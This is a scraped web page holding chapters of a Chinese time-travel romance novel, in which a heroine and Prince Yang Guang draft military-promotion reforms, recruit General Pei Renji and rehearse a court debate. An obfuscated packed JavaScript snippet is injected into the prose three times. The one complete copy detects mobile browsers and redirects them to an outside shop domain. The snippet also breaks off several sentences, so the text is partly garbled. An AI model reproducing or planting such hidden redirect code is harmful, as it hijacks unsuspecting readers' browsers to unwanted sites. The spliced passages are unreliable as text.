他几乎是立刻就看出来了,贺璟那近乎本能的维护。 “贺小将军过虑了。” 他迎上贺璟冷硬的目光,微微颔首,一字一顿,清晰得像在宣判:“萧姑娘既站在本王这边,为革新事献策。” 他刻意顿了顿,让那股无形的压力弥漫开。 “那她的事,便是本王的事。” “本王的人。” 他缓缓吐出这四个字,清晰,有力,带着不容错辨的独占意味,“本王自然会护的……” 他停了停,最后落下四个字。 “滴水不漏。” 我:“???” 老贺:“???” 空气僵住了,火星子噼啪乱溅。 贺璟按在剑柄上的手,指节捏得“咔”一声轻响。 他没动,但整个人的线条都绷紧了,像一张拉到极致的弓,沉默里裹着骇人的冷意。 老贺终于憋不住了,一把将我扯到旁边,压低声音,胡子都快吹我脸上了:“丫头!你跟我说实话,你和晋王……你俩现在到底啥关系?!” 我脖子耳朵都烫得厉害,气得肺疼,盯着杨广那张写满“我故意的怎么了”的脸,从牙缝里挤出恶狠狠的三个字: “他、有、病!” 屋内没人再说话,杨广慢悠悠地拂了拂一丝不苟的袖摆,语气恢复了公事公办的平淡,却带着一锤定音的力量: “时间紧迫,只剩三日。” 目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我坐在车厢最远的斜对角,背脊挺得笔直,手指抠着坐垫上的绣花。 马车动了。 车轮碾过青石板,发出单调的“咕噜”声,车厢里安静得能听见彼此的呼吸。 “坐过来点。” 杨广的声音忽然响起,眼睛还闭着。 我:“???” 他睁开眼,侧过头看我,嘴角噙着一点似笑非笑的弧度:“怕我?” 我怕你个鬼!我是怕我自己忍不住把你从车上踹下去! “殿下说笑了。” 我扯出个假笑,“臣女只是觉得这个位置风景好,能看到窗外。” 他低笑一声,那笑声在狭窄的车厢里荡开,带着点说不清的意味:“萧锦。” 我心头一跳,连名带姓叫,准没好事。 “抱都抱了,”他慢条斯理地说,每个字都像小锤子敲在我神经上,“现在跟本王装不熟,是不是晚了?” 我:“!!!” 脸“腾”地烧起来,从脸颊一路红到耳朵根。 我张了张嘴,想反驳,想骂人,可喉咙像被什么堵住了,一个字都吐不出来。 对,是我扑上去的。是我脑子一热,抱住他的。 可现在被他用这种“你我都心知肚明”的语气说出来……怎么就这么……这么让人想钻地缝?! “那、那是激动失态!” 我憋了半天,终于憋出一句,“殿下不是说……人之常情吗?!” 他看着我烧红的脸,笑意更深了些:“嗯,是人之常情。” 顿了顿,补了一句:“所以现在也是人之常情,坐过来。” 我:“……” 我还能说什么? 我像个提线木偶似的,慢吞吞挪过去,在他对面,但还是挑了个比较远的地方,重新坐下。 他重新闭上眼睛,声音放缓了些:“睡一会儿吧。” “我不困。”我嘴硬。 “未来的三天,”他睁开眼,目光扫过我眼下还没消净的青影,“你又要睡不好了。” 说完,他真的不再理我,头往后靠,重新闭上眼睛。 我不知道他睡没睡着。 我只知道车厢里又安静下来,只有车轮声和远处隐约的市井喧哗。 46. 又被拐了 马车停在了晋王府西侧门。 杨广掀帘下车,动作利落。 我磨磨蹭蹭跟下去,一抬头,晋王府那两扇气派的黑漆大门已经敞开,门内灯火通明,几个管事模样的人垂手立着。 杨广在我前头往里走,步子迈得又大又稳。 我小跑着跟上,心里直骂:腿长了不起啊! 他没往内院去,反而拐向左侧一条回廊。 廊下挂着风灯,映着青石板路泛着湿漉漉的光,像是刚下过小雨。 “殿、殿下,我住哪儿?”我忍不住问。 他脚步不停:“西苑正在收拾,待会儿让侍女领你去。现在,”他推开一扇雕花木门,“先办正事。” 又是书房。 我站在门口,嘴角抽搐。 我跟书房是不是有仇? 文思阁三天没待够,又来这儿续费? 这间书房比文思阁小些,但更精致。 紫檀木书架顶到房梁,密密麻麻全是书。北墙上挂着一幅巨大的舆图,山川河流标得清清楚楚。正中一张宽大书案,案上文房四宝俱全,还有一盏琉璃灯,灯火明亮。 杨广走到案后,铺开一张宣纸。 纸面雪白,在灯下泛着细腻的光。他提起笔,蘸墨,动作行云流水。 “朝堂论辩,陛下定规矩,每队三人。”他一边说,一边在纸上写下第一个字: “广” 紧接着,在旁边写下: “锦”。 我心头一跳。 他就这么自然而然地,把我的名字和他并列写在了一起,仿佛这是天经地义的事。 第三个位置,空着。 他画了个圈。 笔尖点在圆圈中央,轻轻一顿。 “现在,”他抬眼看向我,“我们缺一个人。” 我盯着那个空圈,脑子飞速转动:“必须得是个……有分量的人?” “不止有分量。” 杨广放下笔,双手撑在案沿,身体微微前倾,“我们需要一个,能让世家那帮老家伙闭嘴,至少是忌惮的人。一个军方大佬,手握实权,根基深厚,且……立场超然。” “比如……老贺那样的?”我试探着问。 杨广摇头:“你站在这里,某种意义上,已经代表了贺家的态度。我们需要另一个人,一个此前从未明确表态,但一旦站队,就能让天平彻底倾斜的人。” 他重新提起笔,在那个空圈旁边,缓缓写下三个字: 裴仁基。 “裴仁基?”我一愣,“裴家兄妹的父亲?” “对。”杨广搁下笔,目光沉静,“河东裴氏,累世将门。裴仁基本人,战功赫赫,实打实的军方柱石。更重要的是——” 他顿了顿,一字一句: “他从不结党,不站队,和贺公一样,是朝中少数几个真正意义上的‘纯臣’。世家拉拢不了他,太子拉拢不了他,本王……此前也未能真正打动他。” 我懂了。 这样一个人的支持,分量太重了。 如果他公开支持科举,就等于向整个军方,乃至整个朝堂传递一个信号:这项改革,不仅关乎文官选拔,也获得了最核心的武装力量的认可。 “那我们……怎么说服他?” 我皱起眉,“这种老狐狸,恐怕不是几句大道理就能打动的吧?” 杨广看着我,忽然笑了。 那笑容里带着一种近乎自负的锐利。 “萧姑娘,你错了。” 他走到窗边,背对着我,望向窗外沉沉的暮色。 “本王不要‘说服’的关系。‘说服’得来的支持,最不牢靠。今天能说服,明天别人也能用更大的利益说服他倒戈。” 他转过身,目光如炬: “本王要他,心、甘、情、愿地支持新政。” 我:“……” 有病这人。 你让人心甘情愿给你站台,还不许人家犹豫? 这是什么霸道总裁剧本?! “怎么让他‘心甘情愿’?”我没好气地问。 杨广走到书架前,抽出一卷地图,在案上摊开。那是一幅详细的北境边防图,山川河流、关隘城池,标注得密密麻麻。 “裴仁基是军方大佬,”他手指点在地图上,“他关心的,不止是学子的擢升,更是军队的擢升。关陇世家把持朝堂文官系统,可军队呢?军队里的晋升,一样靠关系、靠门第。寒门子弟在战场上拼杀半生,到头来可能还不如世家一个刚入伍的纨绔升得快。” 我心头一动。 “所以,”杨广抬眼看向我,“我们要给他一个方案,一个军队擢升的细则条例。让军功成为唯一的晋升标准,不问出身,不问门第,只看你在战场上砍了多少敌人,守了多少城池。” 我:“……”好家伙。 这不就是现代竞标提案吗?!先摸清客户痛点,再量身定制解决方案,让人心甘情愿给你掏钱。不对,是给你投票! “现在写吗?”我看着空白的宣纸,脑子开始飞快运转。 兵书里那些战功评定、赏罚条例在我脑海里翻涌,“我对军队的事……略知一二,但细则得慢慢磨。” “所以今晚,”杨广重新坐下,铺开另一张纸,“我们一起写。” 他顿了顿,补了一句:“就像写科举那样。” 我的心脏,不受控制地重重跳了一下。 我们又一次陷入了那种熟悉的、疯狂的状态。 就像文思阁那三天一样。 争吵。推敲。推翻。重来。 只是这次,战场从文官选拔换成了武官晋升。 “第一条,”杨广提笔,“打破‘门荫优先’。所有武官晋升,首重军功,次重考绩,门第出身……列入最末考量。” 我凑过去看:“军功怎么量化?斩首数?破阵次数?还是攻占城池?” “都要。”他笔下不停,“设立‘军功簿’,由监军、主将、同僚三方核验记录。斩首、破阵、先登、断后、护粮、献策……分等计功。” “那考绩呢?”我问,“武官考什么?总不能也考四书五经吧?” 杨广笔尖顿了顿,抬眼看向我:“你觉得该考什么?” 我沉吟片刻:“兵书战策肯定要考。但光会背书没用,得考实际应用,比如给一幅地图,一个敌我态势,让你制定进攻或防守方案。” 杨广点头:“好。加一条:‘策论试’。考临阵决断、地形利用、粮草调度。” “还有武艺。”我补充,“不同兵种考核侧重点不同。骑兵考骑射、冲阵;步兵考阵型、格斗;水军考操舟、水战……” 我们就这样一条条往下磨。 从军功分级,到赏罚对应;从监军职责,到复核流程;从战死抚恤,到伤残安置…… 写到“伤残安置”这一节时,我卡住了。 “《吴子》里说,‘军井未达,将不言渴;军灶未炊,将不言饥’,为将者要与士卒同甘共苦。”我放下笔,声音低了下去,“可那些伤残的士兵,下了战场之后呢?” 杨广的笔停住了。 他抬起头,看向我。 烛火在他脸上跳动,眼底有复杂的情绪闪过。 “有一位将领,麾下有个叫赵老三的老兵,断了条腿。战后,朝廷发了一笔抚恤银,他拿着钱回了老家。三年后,那位将领路过他家乡,顺道去看他。发现他早就死了,饿死的。” 我喉咙一哽。 “那笔抚恤银,”杨广声音很平,但每个字都沉,“被他族里的叔伯分了,说他一个废人,要钱也没用。” 我捏紧了笔杆,指节发白。 “所以不能只给钱。” 我深吸一口气,在纸上写下:“伤残士兵,按伤残等级,每月领取定额粮米,直至终老。朝廷设立‘荣养院’,收容无家可归者。地方官府需定期探视,违者严惩。” 杨广看着我写的字,沉默了很久。 然后他提笔,在我那行字下面,补了一句: “此条,本王亲自督办。” 我抬头看他。 他也正看着我。 烛火在彼此眼中跳跃,有那么一瞬间,我好像又看到了文思阁里那个写下“不灭之光”的人。 只是这一次,他要照亮的不是天下士子,而是那些在黑暗中厮杀、最后可能连名字都留不下的士兵。 写到后半夜时,我的眼皮开始打架。 脑袋一点一点,差点磕在桌子上。 杨广放下笔,揉了揉手腕:“去睡吧。” 我如蒙大赦,站起来时腿都有些发软。 走到门口,忍不住回头看了一眼。 他还坐在案前,烛火将他挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他离得很近,近到我都能闻到他衣襟上淡淡的松木香,混着朝堂里带回来的熏香气。他的呼吸扫过我耳侧,温热的,带着一点点晨起的倦意。 我下意识往后缩了缩。 他没察觉,目光在纸上停留片刻,然后直起身,从袖中摸出一个小布包,递到我面前。 “看看这个。” 我打开布包。 里面是几页叠得整整齐齐的纸,字迹工整清晰,是贺璟的笔迹。 纸上写的是军队里的各种实务:战时如何以伍为单位记录战功、战后如何由不同营队交叉复核、监军如何轮换监督、甚至还有几个具体的战场案例,都是贺璟亲身经历或亲眼所见的。 我翻到最后一页,看到一行小字: “军中积弊,非一日之寒。若欲革新,需从根上破。此录实战之要,或可参详。” 落款是:璟 我的眼眶忽然有点发酸。 他总是这样。 沉默,又靠谱。 我需要什么,他甚至不用我问,就已经想到了。 我把那几页纸紧紧攥在手里,指尖有点发抖。 “贺小将军很聪明。” 杨广的声音在头顶响起,听不出情绪,“他猜到了我们需要什么,我们需要谁的帮助,甚至那个人,又需要什么。” 我抬起头,看向他。 他正低头看我,眼神深得像潭水,里面映着我此刻复杂的神情,感动,愧疚,还有说不清的难过。 “那我们……赶紧接着写吧。”我转过头,闷闷地说,声音还有点哑,“有了这个,很多问题就迎刃而解了。” 杨广“嗯”了一声,走到案前,和我并肩坐下。 有了贺璟的资料,我们接下来的进展快了很多。 我把他的实战经验和兵书理论结合,重新梳理了军功复核的流程。 等我们将擢升条例正式成稿,又是深夜。 “去休息吧,”杨广把提案卷起来,用绸带系好,“明天下朝,我们去裴府。” 47. 开始怕他了 巳时三刻,我们已到裴府门口,门房通报后,出来迎的是裴文若。 “末将参见殿下。” 裴文若抱拳行礼,又对我点点头,“萧姑娘。” “裴世兄。”我还礼。 “家父在书房,请随我来。”裴文若侧身引路。 我们刚进院门,就听见裴秀欢快的声音从里面传来:“阿锦!” 她像阵风似的跑出来,一把拉住我的手,眼睛亮晶晶的:“你真的来了!我爹刚还说你呢!” “说我什么?”我好奇。 “说你箭术了得,春猎时表现好,脑子也灵光。”裴秀笑嘻嘻的,“他还说,贺伯伯养了个好女儿。” 跟着裴家兄妹进了书房,裴仁基正站在书案前写字。 他比我想象中更……朴实。 四十来岁的年纪,国字脸,浓眉,穿着半旧的藏青色常服,腰间束着牛皮腰带,袖口挽起,露出精壮的小臂。 整个人站在那里,就像一柄收在鞘里的刀。不张扬,但你能感觉到那股沉淀下来的力量。 “末将参见晋王殿下。”他放下笔,抱拳行礼,声音洪亮沉稳。 “裴将军不必多礼。”杨广抬手虚扶。 裴仁基的目光落在我身上,打量了两眼,点点头:“萧丫头也坐。” 没有多余的试探,杨广直接从袖中取出那份提案,双手递过去:“裴将军请看。” 裴仁基接过,展开。 他看得很慢,很仔细。 时而皱眉,时而点头。 看到军功复核那一节时,他手指在“终身追责”四个字上停了停,抬起头看向我,眼里带着几分笑意: “这一条够狠啊,是萧丫头写的吧。” 我一愣,他看出来了? “世伯怎么知道……” “贺若弼那老家伙教出来的,味儿太冲。” 裴仁基摇摇头,嘴角却噙着笑,“他当年在军营里就这么说过,冒领军功,就该一辈子翻不了身。只是那时候……没人敢这么写进章程里。” 我心里一松,也跟着笑了:“贺伯伯是说过,但我自己添了些想法。” “添了什么?” “同伍连坐,但允许检举减罪。” 我解释道,“若是同伍有人冒功,其他人知情不报,一同治罪。但若有人主动检举,可视情节减免。既要堵死串通的路,也得给想回头的人留个口子。” 裴仁基看着我,目光里多了几分赞许。 “想得周全。”他点点头,又低头继续看提案。 看到伤残安置那一条时,他手指在纸上停了很久,指节微微收紧。 “这一条……”他抬头看向杨广,“殿下真要亲自督办?” “白纸黑字,”杨广说,“岂能儿戏。” 裴仁基没说话,目光又落回纸上,沉默地看着那几个字,“伤残士兵,每月定额粮米,直至终老。荣养院设立,地方官府定期探视,违者严惩。” 书房里很静。 窗外的阳光斜斜照进来,落在纸面上,把那几个字映得发亮。 “老夫……”裴仁基终于开口,声音有些哑,“当年在陇右带兵时,有个姓陈的校尉,守城断了右臂。战后发了一笔抚恤银,他拿着钱回了老家。三年后老夫路过,想顺道去看看他……” 他顿了顿,喉结滚动了一下。 “人已经没了。他那笔钱,被族里的叔伯分了,说他一个废人,要钱也没用。” 我心头猛地一震。 这个事……这个事我昨天才听过! 就在昨晚,我们写这一条之前,杨广也给我讲过,一个叫赵老三的老兵,断了腿,抚恤银被族人瓜分,最后饿死。 一字不差。 除了人名不同,细节几乎一模一样。 我下意识地看向杨广。 他正静静地坐在那里,目光落在裴仁基脸上,神情专注,仿佛在认真倾听一个令人痛心的往事。 可我知道,他知道。 他什么都知道。 他知道裴仁基心里有这个疙瘩,知道这个伤疤在哪里,知道该用什么去碰,去触动,去让这位铁血的将军心甘情愿地站在他这边。 我后背忽然泛起一层细密的冷汗。 昨天他给我讲这个故事的时候,语气那么平静,那么自然,就像只是在陈述一个事实。 可我现在才明白,那不是随口一提的往事,那是他早就准备好的,用来打动裴仁基的筹码之一。 就在这一瞬间,我突然想起了很多事。 想起浴房那夜,我还没开口,他就知道我是为周栓子来的。 想起那封送到贺府的密信,元淹的判决、我们的反应,他算得毫厘不差。 想起他仅凭我在岐州出现,就推断出全部,然后悄无声息地解决我所有的难题。 这些事,我当时只觉得他聪明绝顶,手腕了得。 可现在串联起来。 这真的只是“聪明”吗? 还是他的情报网,比我想象的还要可怕万分? 他知道贺府每日的动静,知道陇右的军情,知道朝堂上每句机锋,知道裴仁基心里最痛的伤疤,知道李纲遗书里没写出来的血泪…… 每一个人的弱点,每一个人的心结,每一个人的过往…… 他是不是都清清楚楚地记在心里,等着在需要的时候,精准地拿出来用? 科举是这样,他抓住了李纲用命砸开的那个口子,抓住了皇帝想要改制的决心。 军队擢升也是这样,他抓住了裴仁基对旧制的不满,抓住了那些被辜负的士兵的冤屈。 他做的每一件事,都精准地踩在“正确”的点上,精准地让人无法拒绝。 可这到底是因为他真的觉得这世道该改,还是因为,改了,才能成就他的大业? 或者……都有? …… 裴仁基抬起头,看向我们:“所以这一条,好。” 他把提案从头到尾又看了一遍,然后放下纸卷,看向杨广:“殿下想让老夫在朝堂上为科举说话?” “是。” “理由?” “科举若成,寒门士子有路可走。” 杨广顿了顿,“军功擢升若立,军中儿郎有前程可搏。” 裴仁基沉默了很久。 久到窗外的鸟叫都停了,书房里静得能听见自己的心跳。 “老夫,”他终于开口,“需要想一想。” 杨广脸上没什么表情,只微微颔首。 “最晚明天中午,”裴仁基补充道,“老夫会给殿下答复。” 从裴府出来,上了马车,我还沉浸在那个可怕的猜测里。 马车里,我忍不住看向杨广。 他靠在车壁上,闭着眼,神色平静,仿佛刚才在书房里的一切都只是寻常的谈话。 “殿下……”我张了张嘴,想问,却又不知道该怎么开口。 “嗯?”他睁开眼,看向我。 “昨天你跟我讲的那个赵老三的事…… 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一个能写出“纵有千难万险,此路必开”的殉道者。 一个深谙权谋、手握强大情报网、野心勃勃的皇子。 这两个人,怎么会是同一个人? 可他们就是。 我想起文思阁那个拥抱。 我扑上去的时候,脑子里什么都没有,只有那四个字砸进心里的震撼。 “不灭之光”,那是我上辈子背过的历史,是我这辈子亲眼看着他写下的未来。 那一刻,我觉得我看到了某种纯粹到近乎神圣的东西。 可现在呢? 现在我觉得,我看到的可能只是一张精心织就的网。 网上的每一根丝线,都连着一个人的心结,一个时代的痛点。 他站在网的中心,轻轻一拉,所有人都会跟着动。 “在想什么?” 杨广的声音忽然响起。 我回过神,看向他。 他已经睁开了眼睛,正静静地看着我。那目光太深了,深到我什么都看不出来。 “我在想……”我斟酌着词句,“科举如果真的成了,会是什么样子。” “会是什么样子?”他反问。 “会有很多寒门子弟考上来,进入朝堂。” 我说,“会有很多像李纲那样的人,不必用命去砸门。会有一条路,让有才学的人,不问出身,都能往上走。” “嗯。”他点点头,“然后呢?” 然后? 然后我就不知道了。 我只知道历史的结局。 科举成了,延续了一千四百年。 可杨广呢? 他死了,死在江都的雨夜里,死在曾经最信任的老臣刀下。 他点燃了这把火,可最后被这把火烧死的,好像也有他自己。 “殿下,”我看着他的眼睛,问了一个我自己都觉得傻的问题,“如果……如果这条路真的开了,但代价很大,大到你承受不起,你还会开吗?” 杨广看着我,看了很久。 然后他笑了。 那笑意很淡,但眼底有种近乎锋利的东西。 “萧锦,”他说,“这世上没有不付代价就能做成的事。” 他顿了顿,补了一句: “本王付得起。” 48. 他的拥抱 回到书房,烛火已经重新点上。 杨广没有立刻开始,而是铺开一张新纸,蘸墨书写: 崔明远——礼部尚书,博陵崔氏。 卢怀慎——御史中丞,范阳卢氏。 独孤泓——太傅,独孤皇后族叔。 “下一步,推演,” 他放下笔,抬眼看向我,“先弄清楚,我们要面对的是什么人。” 他指尖点在第一行字上:“崔明远,五十三岁,博陵崔氏嫡系,四十岁升侍郎,四十六岁任尚书。他这一生,就是‘世家典范’,循规蹈矩,引经据典,半步不错。” 我点点头。 “他反对科举,” 杨广继续道,“不是因为他坏,而是因为他的整个世界,就是由‘规矩’和‘经典’构建的。你要破规矩,就等于拆他的世界。” 指尖移到第二行:“卢怀慎,四十六岁,范阳卢氏旁支。原本没什么前途,是靠一张利嘴和敢咬人的劲头爬上来的。御史台弹劾百官,他就是最锋利的那把刀。” 他顿了顿:“这人没底线。他会攻击你的一切,出身、动机、与本王的关系。把水搅浑,他才能赢。” 最后,他的手指停在第三个名字上,动作很轻。 “独孤泓,七十三岁。” 杨广的声音沉了些,“他不是崔明远那种‘规矩’的囚徒,也不是卢怀慎那种‘疯狗’。他是一卷活着的史书。” “他经历过北周、隋朝,见过太多变革,也见过太多流血。他反对科举,不是因为他想维护世家特权,事实上,他本人一生简朴,从不为家族谋私。” “那他为什么反对?”我问。 “因为他害怕。”杨广抬眼,“他害怕变革带来的动荡,害怕流血,害怕这个好不容易安定下来的天下,再次陷入混乱。” 他顿了顿: “要赢他,你得让他相信,不开这条路,天下会更乱。” “现在,”杨广站起身,走到我对面,“开始。” 他闭了闭眼,再睁开时,整个人的气场都变了。 背脊挺直,下颌微抬,眼神矜持而疏离。 崔明远。 “萧姑娘,” 他的声音温和却居高临下,“老夫有一事不明。自古选贤举能,皆有法度。州郡察举,中正品评,乃是先贤所定,沿用数百年。姑娘何以断言,此制已‘弊病丛生’,非要推倒重来不可?” 我张了张嘴。 脑子里却还是那些乱糟糟的念头,浴房、密信、岐州、陈校尉…… 然后,我看着眼前这张熟悉又陌生的脸,忽然觉得有些荒谬。 “萧锦。”杨广恢复了自己的声音,眉头微皱,“你在听吗?” “在听。”我勉强应道。 “那你回答。”他又变回崔明远,“请赐教。” 我又卡住了。 那些本该脱口而出的道理,什么“上品无寒门”,什么“李纲血书”,都堵在喉咙里。 “殿下,” 我的声音有些涩,“我……可能需要静一静。” 杨广看着我,眼神沉了下来。 他没说话,只是那么静静地看着我。 “你在想什么?”他问。 我摇摇头,没说话。 说我在想你的情报网到底有多大?说我在想你到底是什么样的人? 这些话,我说不出口。 杨广沉默了片刻,转身朝门外走去。 “本王出去一趟。”他的声音很平,“你自己静一静。” 门被轻轻带上。 我一个人站在烛火旁,看着纸上那三个名字。 窗外的天色已经完全暗了。 我走到窗边,推开半扇窗。夜风吹进来,带着凉意。 萧锦,你在干什么? 科举是你看着他一个字一个字写出来的,军功擢升是你和他一起磨出来的。 现在,就因为你发现他比你想的更深、更复杂,你就要退缩? 这条路,你真的不想让它开吗? 我闭上眼。 再睁开时,心里那团乱麻,终于被一根线穿了起来。 不管杨广是什么样的人。 科举本身,是对的。 这就够了。 门被轻轻推开。 杨广回来了,手里端着两盏温茶。 他没说话,只是将一盏茶放在我面前,然后坐回书案后。 “继续?”他抬眼。 “继续。”我说。 这一次,我的声音稳了。 杨广看着我,眼底闪过一丝极淡的什么。 然后他又变回了崔明远。 “萧姑娘,”他微微颔首,“老夫洗耳恭听。” 我放下茶盏,迎上他的目光。 “崔尚书,”声音清晰平稳,“您说先贤所定,敢问是哪个先贤?可是汉武时董仲舒‘罢黜百家’后,为世家垄断仕途而设的‘察举制’?还是魏晋时司马氏为巩固门阀,将品评之权尽收高门的‘九品中正制’?” 杨广眼底微亮。 我继续道:“若真是先贤为‘选贤举能’而设,为何数百年间,‘上品无寒门,下品无世族’?为何有才学如李纲者,需以命叩阙?为何寒门士子纵有管仲之才,亦只能‘老于蓬蒿’?” 我盯着他: “崔尚书,您告诉学生,这到底是先贤为‘选贤’所设,还是后世为‘固权’所改?” 书房安静片刻。 杨广笑了,是他自己的笑,眼底带着赞许。 “好。” 他说,“这一问,崔明远接不住。” 他蘸墨,在崔明远的名字旁写下: “可攻其‘祖制不可改’之论,以李纲血书为刃。” 接着,他换了副姿态。 背微佝,嘴角下撇,眼神刻薄。 卢怀慎。 “萧姑娘,”声音尖利,“你说得再好听,也不过是为晋王殿下张目罢了。谁不知你与晋王过往甚密?春猎同组,文思阁共处三日,如今又住进晋王府。这般形影不离,姑娘今日所言,究竟是公心,还是私情?” 我心头火起,但强压了下去。 “卢中丞,”我平静地看着他,“您今日站在这里,是为关陇世家说话,还是为天下公道说话?” 他眯眼:“自然是公道。” “那好。”我上前一步,“学生请问,若今日提出科举之制的,是太子殿下,您还会这般质疑献策者的‘私情’吗?您质疑的,究竟是学生与晋王的关系,还是科举这条新路本身?” 我一字一顿: “卢中丞,您到底是来论‘公道’,还是来论‘站队’?” 杨广又笑了,这次多了几分畅快。 他在卢怀慎的名字旁写下: “善用‘双重标准’反诘,化人身攻击为立场质疑。” 最后,他深吸一口气。 整个人的气场都变了。 背脊依旧挺直,但多了种历经沧桑的沉静。 眼神温和澄澈,却透着看透世事的通透。 独孤泓。 “孩子。” 他叫我孩子。 “你说的那些道理,老夫都懂。”声音很缓,很沉,“寒门苦,士卒难,世道不公。这些,老夫活了七十三年,见得比你多。” 他顿了顿,目光落在我脸上,那眼神里有悲悯,有理解。 “可是孩子,你有没有想过,破旧立新,是要流血的。” “李纲流了血,够了吗?不够。还会有更多人流血。寒门子弟考上来了,世家子弟就要下去。军中儿郎凭军功上去了,那些靠祖荫的将门子弟,就要让位。” “他们会甘心吗?” 他轻轻摇头,那摇头的动作里,带着整个旧时代的重量。 “不会的。他们会反扑,会挣扎,会用尽一切手段,把这条路堵死,把走在路上的人……拖下来。” 他看着我,眼神慈悲得像一尊佛。 “孩子,你确定,你要开这条路吗?你确定,你担得起这条路要流的血吗?” 我站在那里,浑身冰冷。 杨广缓缓收回那身气场,变回自己。 “萧锦,”他开口,声音很平静,“你在怕。” 他眼神很深,深到我忽然意识到。 他什么都知道。 他知道我刚才为什么卡住,知道我脑子里在想什么,知道裴仁基的事让我介意,知道我在怕。 怕他这个人,怕他手里那些看不透的东西,怕自己到底站在一个什么样的人身边。 “你看得清楚,本王也不否认。” 他看着我,语气坦荡,“是裴将军的事让你介意了。你在想,你面前的这个人,到底是个什么样的人。他做的这些事,到底是因为真想改这世道,还是因为……改了对他更有利。” 我喉咙发紧。 “这个问题,”他顿了顿,“本王不答。” 他走到窗边,月光落在他肩上。 “本王是什么样的人,你自己去看,去想,去判断。” 他转过身,目光落在书案上那张写着“独孤泓”名字的纸上: “但今天,你得先回答他的问题。这条路,你开不开?这血,你担不担?” 我看着他站在光影里的侧脸,忽然明白了。 他是什么样的人,重要吗? 重要。 可更重要的是。 我要不要开这条路。 我要不要站在这里,去回答独孤泓那个问题。 我走到书案前,看着那四个字,深吸一口气: “这条路,要开。” “为什么?” “因为现在不开,以后流的血,会更多。” 我抬起头,迎着他的目光: “李纲用命砸门,不是因为他想死,是因为那扇门已经锈死了。现在砸,流的是一两个人的血。等那扇门彻底锈死,等门后面的人自己拿起刀来砸——” “流的,就是天下人的血。” 我顿了顿: “所以这血,我担。” 杨广看着我,看了很久。 然后他提起笔,在独孤泓的名字旁,缓缓写下四个字: “以血止血。” 月光从窗外照进来,在地上投下一片银白。 他吹熄了蜡烛: “去睡吧。明天,还有硬仗要打。” 我走到门口,回头看了一眼。 他还站在书案前,望着窗外沉沉的夜色。 月光把他的影子拉得很长。 …… 第三天上午,我们开始最后一遍梳理。 杨广铺开纸,提笔写下我们可能遇到的每一个问题,每一个攻击,每一个反驳的要点。 他的字迹凌厉,条理清晰。 我看着那些字,忽然想起文思阁那三天,也是这样。一字一句,推演,打磨,争吵。 那时候,我还觉得这条路虽然难,但至少纯粹。 现在我知道了,这条路,从来就不纯粹。 它沾着血,连着权谋,系着无数人的算计。 可它,还是要开。 “殿下,”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286610|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然问,“如果明天输了……怎么办?” 杨广笔下不停:“那就再来。” “再来?” “一次不行,就两次。两次不行,就三次。”他抬起头,看向我,“这条路,本王开定了。” 他的眼神太坚定了,坚定到让我觉得:输,好像也不是什么大不了的事。 因为只要他在,这条路,就一定会开下去。 快到午时的时候,外面传来了脚步声。 很重,很稳。 裴仁基来了。 他穿着一身半旧的藏青色常服,腰间束着牛皮腰带,脚步踏在青石板上,发出沉稳的响声。 走进书房时,先看了我一眼。然后转向杨广,抱拳: “殿下。” 杨广站起身:“裴将军。” “老夫想了一夜。” 裴仁基的声音很沉,“想那条路上要流的血,想那些可能被拖下来的人,想这个天下……会不会乱。” 他顿了顿: “然后老夫想起来,二十年前,在陇右,老夫带兵守城。城里有三千守军,城下有五万突厥兵。有人劝老夫降,说降了,至少能保住这三千人的命。” 他抬起眼,目光如炬: “老夫没降。” “因为老夫知道,如果今天降了,明天就会有更多人降。等突厥兵打到长安城下的时候,就没人守了。” 他深吸一口气: “所以今天,老夫也不降。” 他看着杨广,一字一顿: “这条路,老夫跟殿下一起开。” 书房里安静了一瞬。 然后杨广深深一揖: “谢将军。” 裴仁基摆摆手:“别谢太早。这条路怎么开,咱们还得再议。” 他走到书案前,看着纸上那些推演,点点头:“想得周全,但还差一点。” 他指着独孤泓的名字: “对付这老家伙,光说道理没用。得让他看见,不开这条路,他的子孙后代,也一样没活路。” 裴仁基笑了,那笑容里有种沙场老将的狠劲儿: “来,老夫教你们,该怎么对付他。” 午后的阳光透过窗棂照进来,在地上投出斑驳的光影。 书房里,三个人。 一个皇子,一个将军,一个穿越者。 我们围在书案前,一字一句,推演着明天那场可能改变整个天下的论辩。 把可能遇到的所有攻击、所有反驳、所有陷阱,全都推演了一遍。 裴仁基甚至模仿独孤泓的语气,给我们演练了几遍: “老夫问你,科举开了,那些考不上功名的世家子弟怎么办?让他们回家种地?还是让他们上街要饭?” 杨广应对:“考不上功名,可走军功擢升。朝廷开武举,开匠作司,开漕运、河工、算学,天下之大,岂止文官一条路?” “那要是文武都考不上呢?” “那便是该淘汰的人。”杨广答得斩钉截铁,“将军带兵时,会让一个连刀都提不动的人当先锋吗?” 从午后到黄昏,再到夜幕降临。 书房里的蜡烛点了一盏又一盏,墨汁用了一池又一池。 月上中天时,裴仁基终于起身。 “老夫该回去了。”他揉了揉眉心,脸上带着倦色,但眼神明亮,“明日朝堂见。” 杨广起身相送:“将军慢走。” 裴仁基走到门口,又回过头,看了我一眼:“萧丫头。” “嗯?” “明天,”他说,“站稳了。” 